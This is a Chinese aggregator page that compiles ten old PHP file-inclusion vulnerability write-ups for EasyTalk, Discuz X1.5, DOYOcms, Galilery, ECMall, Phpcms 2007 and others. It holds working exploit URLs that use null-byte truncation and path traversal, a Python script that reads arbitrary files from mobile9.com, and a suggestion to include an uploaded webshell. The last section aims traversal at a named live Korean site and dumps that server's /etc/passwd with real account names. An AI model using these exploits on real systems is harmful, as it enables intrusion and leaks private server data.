EasyTalk 微博本地文件包含漏洞漏洞预警

时间：2023-08-18 03:40:25 作者：我和春天来了哦综合材料收藏本文下载本文

【导语】“我和春天来了哦”通过精心收集，向本站投稿了10篇EasyTalk 微博本地文件包含漏洞漏洞预警，以下是小编帮大家整理后的EasyTalk 微博本地文件包含漏洞漏洞预警，仅供参考，大家一起来看看吧。

目录
第1篇：EasyTalk 微博本地文件包含漏洞漏洞预警第2篇：DISCUZX1.5 本地文件包含漏洞漏洞预警第3篇：DOYOcms 本地文件包含漏洞漏洞预警第4篇：Galilery 1.0本地文件包含漏洞漏洞预警第5篇：mobile9 本地文件包含漏洞第6篇：ECMall本地文件包含漏洞第7篇：DISCUZ X1.5 本地文件包含漏洞第8篇：include本地文件包含漏洞随想第9篇：Phpcms 2007 远程文件包含漏洞漏洞预警第10篇：韩国站的本地包含洞漏洞预警

篇1：EasyTalk 微博本地文件包含漏洞漏洞预警

发布日期：2011-01.29

发布作者：sw0rder

影响版本：EasyTalk

：www.9italk.com/

漏洞类型：文件包含

漏洞描述：

漏洞文件在“wap/index.php”,关键代码如下：

具体利用：

新建一个账户，在首页写话题处上传捆后的图片，这里传后可以显示出文件名，在服务器中会出现两个图片，一个源图片，一个处理过的，

EasyTalk 微博本地文件包含漏洞漏洞预警

，

且已自身 id 为目录命名(id 可从右上方看到），那么图片路径就是：attachments/photo/user_id/图片名.jpg。

测试：

127.0.0.1/easytalk/wap/in ... ents/photo/user_id/图片.jpg%00.

另外,关于截断方面可以用较多的/来试试有时候会有效果,php版本别太新否则截断会无效的hoho

篇2：DISCUZX1.5 本地文件包含漏洞漏洞预警

DISCUZX1.5 本地文件包含，当然是有条件的，就是使用文件作为缓存，

config_global.php

$_config['cache']['type'] = 'file';

function cachedata($cachenames) {

......

$isfilecache = getglobal('config/cache/type') == 'file';

......

if($isfilecache) {

$lostcaches = array;

foreach($cachenames as $cachename) {

if(!@include_once(DISCUZ_ROOT.'./data/cache/cache_'.$cachename.'.php')) {

$lostcaches[] = $cachename;

}

......

}

地址：

localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/uc

Authracation has expiried

执行了 api/uc.php 页面代码了，

作者： Jannock

篇3：DOYOcms 本地文件包含漏洞漏洞预警

这是这套CMS ，这个很简洁，。。

这里的$handle_controller = syClass($__controller, null, $GLOBALS['G_DY'][“controller_path”].'/'.$__controller.“.php”);

接下来往下看

这里的$sdir 没有经过任何过滤来的，然后看下这个import函数

这里直接包含了该文件

require($sfilename);

所以结合前面的

$GLOBALS['G_DY'][“controller_path”].'/'.$__controller.“.php”

$__controller是我们可控的变量，也没有经过任何过滤，我们想可以通过%00截断，然后包含我们上传的文件就达到了目的

这也就是鸡肋的地方了，如果要截断，要保证php版本小于5.4(我自己也记不太清了) 因为高版本的修复了该截断的漏洞，

然后这里要保证魔术常量是关闭的。

下图就是成功包含的图

Exp：

localhost/test/index.php?c=../uploads/2012/06/1.gif%00&a=type&tid=1

篇4：Galilery 1.0本地文件包含漏洞漏洞预警

Galilery是一款使用PHP编写的开放源代码的相册系统，Galilery 1.0存在本地文件包含漏洞，可能导致敏感信息泄露，

[+]info:

~~~~~~~~~

Galilery 1.0 Local File Inclusion Vulnerability

$ cat 15_lfi_galilery.1.0.txt

# exploit title: local file include in Galilery 1.0

# date: 18.o2.2o11

# author: lemlajt

# software : Galilery

# version: 1.0

# tested on: linux

# cve :

# ftp.heanet.ie/disk1/sourceforge/g/project/ga/galilery/Galilery/

[+]poc:

~~~~~~~~~

localhost/www/cmsadmins/Galilery-1.0/index.php?pg=1&d=../../../../../../../../../../../../etc/

cuz:

index.php: $d=$_GET['d'];

[+]Reference:

~~~~~~~~~

www.exploit-db.com/exploits/16206

篇5：mobile9 本地文件包含漏洞

因为他是base64编码的手工测试很麻烦就写了个小工具,高手飘过

import urllib2,sys

import httplib

import base64,time

if len(sys.argv) <= 2:

print “=” * 30

print “mobile9.com local exploit by cnb|rd Qq:441303228”

print “Email:Linuxrootkit2008@gmail.com”

print “=” * 30

print “usage: ” + sys.argv[0] + “ hostname ” + “ local file ”

sys.exit(1)

host = sys.argv[1]

path = sys.argv[2]

file = sys.argv[3]

h = httplib.HTTP(host)

h.putrequest(“HEAD”, path)

h.putheader(“Host”, host)

h.endheaders

okresp, reason, headers = h.getreply()

print “=” * 30

print host + “ Server Banner is ” + headers.get(“Server”)

print “=” * 30

print “Local file to read is ” + file

time = int(time.time())

serverpath = “/download/content_delivery.php?key=”

str = str(file) + “|” + str(time) + “|”

print str

base64file = base64.urlsafe_b64encode(str)

requestpath = serverpath + base64file

print base64file

print requestpath

f = httplib.HTTPConnection(host)

f.request('GET', requestpath)

print f.getresponse().read()

f.close

CSDN博客cnbird2008

篇6：ECMall本地文件包含漏洞

by Ryat

bbs.wolvez.org

respond.php 48行

$pay_code = !empty($_REQUEST['code']) ? trim($_REQUEST['code']) : '';

...

$plugin_file = ROOT_PATH . '/includes/payment/' . $pay_code . '.php';

if (is_file($plugin_file))

{

include_once($plugin_file);很明显的一个bug

利用的话可以参考flyh4t提到过[bbs.wolvez.org/topic/56/]的一个思路:

可以通过旁注拿个shell，然后写个main.php到/tmp目录下，然后包含之

篇7：DISCUZ X1.5 本地文件包含漏洞

DISCUZX1.5 本地文件包含，当然是有条件的，就是使用文件作为缓存， config_global.php $_config['cache']['type'] = ‘file’; function cachedata($cachenames) { …… $isfilecache = getglobal(‘config/cache/

DISCUZX1.5 本地文件包含，当然是有条件的，就是使用文件作为缓存。

config_global.php

$_config['cache']['type'] = ‘file’;

function cachedata($cachenames) {

……

$isfilecache = getglobal(‘config/cache/type’) == ‘file’;

……

if($isfilecache) {

$lostcaches = array;

foreach($cachenames as $cachename) {

if(!@include_once(DISCUZ_ROOT.’./data/cache/cache_’.$cachename.’.php’)) {

$lostcaches[] = $cachename;

}

……

}

地址：

localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/uc

localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/ucAuthracation has expiried

执行了 api/uc.php 页面代码了，

作者： Jannock

篇8：include本地文件包含漏洞随想

by Ryat

www.wolvez.org

2008-2-22

引用:

本地文件包含漏洞是PHP中比较常见的漏洞，像下面的代码：

include(inc/.$_GET[a]./global.php);

这是个典型的文件包含漏洞，但要想包含任意文件的话需要引入NULL字符截断后面的/global.php，但在gpc为on的情况下null是会被转义的，这往往成了本地文件包含漏洞利用的束缚（在一些特定的情况下也可以用其他方法截断后面的代码，见：html“>www.wolvez.org/forum/thread-55-1-1.html）

其实文件包含分为include()和 require()两种，先看下手册中对这两种方式区别的描述：

这两种结构除了在如何处理失败之外完全一样，include() 产生一个警告而 require() 则导致一个致命错误。换句话说，如果想在遇到丢失文件时停止处理页面就用 require()。include() 就不是这样，脚本会继续运行

手册中对两种方式的区别说的很清楚，而include()的这种对待包含失败的处理方式有时会给我们在利用本地文件包含漏洞上提供一些其他的思路，看下下面的代码片断：

...

if (!empty($_COOKIE[”userlanguage“]) && file_exists(”lang/“ . basename($_COOKIE[”userlanguage“]) . ”/global.php“)) $language = $_COOKIE[”userlanguage“];

...

include_once(”lang/$language/index.php“);

...

$template = preg_replace(”/{langs+(.+?)}/ies“, ”languagevar(\\1)“, $template);

...

fwrite($fp, $template);

...

function languagevar($var) {

if(isset($GLOBALS[lang][$var])) {

return $GLOBALS[lang][$var];

} else {

return ”!$var!“;

}

...

简单说下代码的处理流程，程序根据浏览者选择的语言把相应的$lang写进模板缓存，当浏览者访问时直接访问模板缓存，

而这里可以通过$_COOKIE[”userlanguage“]触发本地文件包含漏洞，这样提交：

../../[file][null char]/eng

通过basename()返回eng，而/lang/eng/global.php是存在的，绕过了file_exists()的检查，成功触发了本地文件包含漏洞，但这里需要GPC为OFF，因为要引入NULL字符截断后面的字符串。貌似利用很困难，但我们可以转换下思路，这里include_once()正确包含的话会包含语言文件，语言文件里面定义了$lang，这里是关键了，我们只要随便提交$_COOKIE[”userlanguage“]，使include_once()无法正确包含，而前面提到include()即使包含失败，脚本依旧会向下执行，这样没有包含语言文件，$lang就是没有初始化的了，那么在register_globals为on或用了extract()的情况下，我们就可以自行提交$lang了，然后通过fwrite()写入了缓存文件：）

其实这个思路就是把include()本地文件包含漏洞转化为其他漏洞，是个典型的二次攻击：）

篇9：Phpcms 2007 远程文件包含漏洞漏洞预警

[zz]Phpcms 2007 远程文件包含漏洞

url:www.wolvez.org/forum/redirect.php?tid=182&goto=lastpost

这个漏洞是一个比较普通的变量覆盖漏洞，这里转一下是由于发现这个漏洞如果是白盒那要都仔细看代码才行：）

引用：

------------------------------------------------

//从头开始看

$rootdir = str_replace(”\\\\“, '/', dirname(__FILE__));

require $rootdir.'/include/common.inc.php';//通过extract可以覆盖$rootdir为任意值

require PHPCMS_ROOT.'/languages/'.$CONFIG['adminlanguage'].'/yp_admin.lang.php';

if(!$_username) showmessage($LANG['please_login'],$PHPCMS['siteurl'].'member/login.php?forward='.$PHP_URL);

require $rootdir.'/web/admin/include/common.inc.php ';//触发远程文件包含

------------------------------------------------

注意看里面的2个require,第一个那引进的extract的代码，第2个require才导致漏洞的函数，

Phpcms 2007 远程文件包含漏洞漏洞预警

，

伪代码：

$rootdir = str_replace(”\\\\“, '/', dirname(__FILE__));

//下面就是require $rootdir.'/include/common.inc.php';引入的代码

@extract($_POST, EXTR_OVERWRITE);

@extract($_GET, EXTR_OVERWRITE);

unset($_POST, $_GET);

require $rootdir.'/web/admin/include/common.inc.php

不知道看到这里，看官们有什么感想？如果这里用grep等软件去找静态的上跟踪这个的话障很再可能就会漏调着可能分析得到的结果是：

$rootdir = str_replace(”\\\\“, '/', dirname(__FILE__));

require $rootdir.'/include/common.inc.php'

require $rootdir.'/web/admin/include/common.inc.php

一看$rootdir被过滤了，就会认为这里安全了？

所以一味的grep等静态去找，是找不到这样的bug的上...

来个“马后炮”，对于这样的上用灰盒测试可能效果很好：就是先看代码看common.inc.php这个躯干里发现用变量覆盖，然后黑盒去找跑那些变量可以覆盖.....

篇10：韩国站的本地包含洞漏洞预警

url：www.kptc.or.kr/plaza/law.html?url=/../../../....

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin rpm:x:37:37::/var/lib/rpm:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin haldaemon:x:68:68:HAL daemon:/:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin pcap:x:77:77::/var/arpwatch:/sbin/nologin urisystem:x:500:500::/home/urisystem:/bin/bash mysql:x:27:27:MySQL:/usr/local/mysql/var:/sbin/nologin apache:x:48:48:apache:/home/httpd:/sbin/nologin dovecot:x:97:97:dovecot:/usr/libexec/dovecot:/sbin/nologin bncworld:x:502:100::/home/bncworld:/bin/bash healthju:x:503:100::/home/healthju:/bin/bash siskorea:x:504:100::/home/siskorea:/bin/bash sam2879:x:505:100::/home/sam2879:/bin/bash nesc:x:506:100::/home/nesc:/bin/bash kptc:x:508:100::/home/kptc:/bin/bash moonhak:x:509:100::/home/moonhak:/bin/bash eunjinmall:x:510:100::/home/eunjinmall:/bin/bash wla:x:511:100::/home/wla:/bin/bash master:x:512:512:eunjinmall.com:/home/eunjinmall/master:/bin/false chang:x:513:513:eunjinmall.com:/home/eunjinmall/chang:/bin/false eunjin:x:514:514:eunjinmall.com:/home/eunjinmall/eunjin:/bin/false buy09:x:515:100::/home/buy09:/bin/bash dailyecx:516:100::/home/dailyec/bin/bash shop_wla:x:517:100::/home/shop_wla:/bin/bash moonhak_wla:x:518:100::/home/moonhak_wla:/bin/bash koreatown21:x:519:519::/home/iloveyou:/bin/bash

★ DirCMS 任意文件读取0day漏洞预警

★ ewebeditor(PHP) Ver 3.8 任意文件上传0day漏洞预警

★ phpWebThings = 1.5.2 MD5 Hash恢复/文件公开远程漏洞漏洞预警

★ 漏洞整改报告

★ Shopv8 商城系统 v12.07 Cookies 注入漏洞漏洞预警

★ micecms一个鸡肋漏洞及修复附EXP漏洞预警

★ 永久网络个人音乐盒LajoxBox v1.1上传漏洞利用漏洞预警

★ 规章制度执行有漏洞

★ 财务部里的漏洞

★ Freefloat FTP Server多个命令远程缓冲区溢出漏洞漏洞预警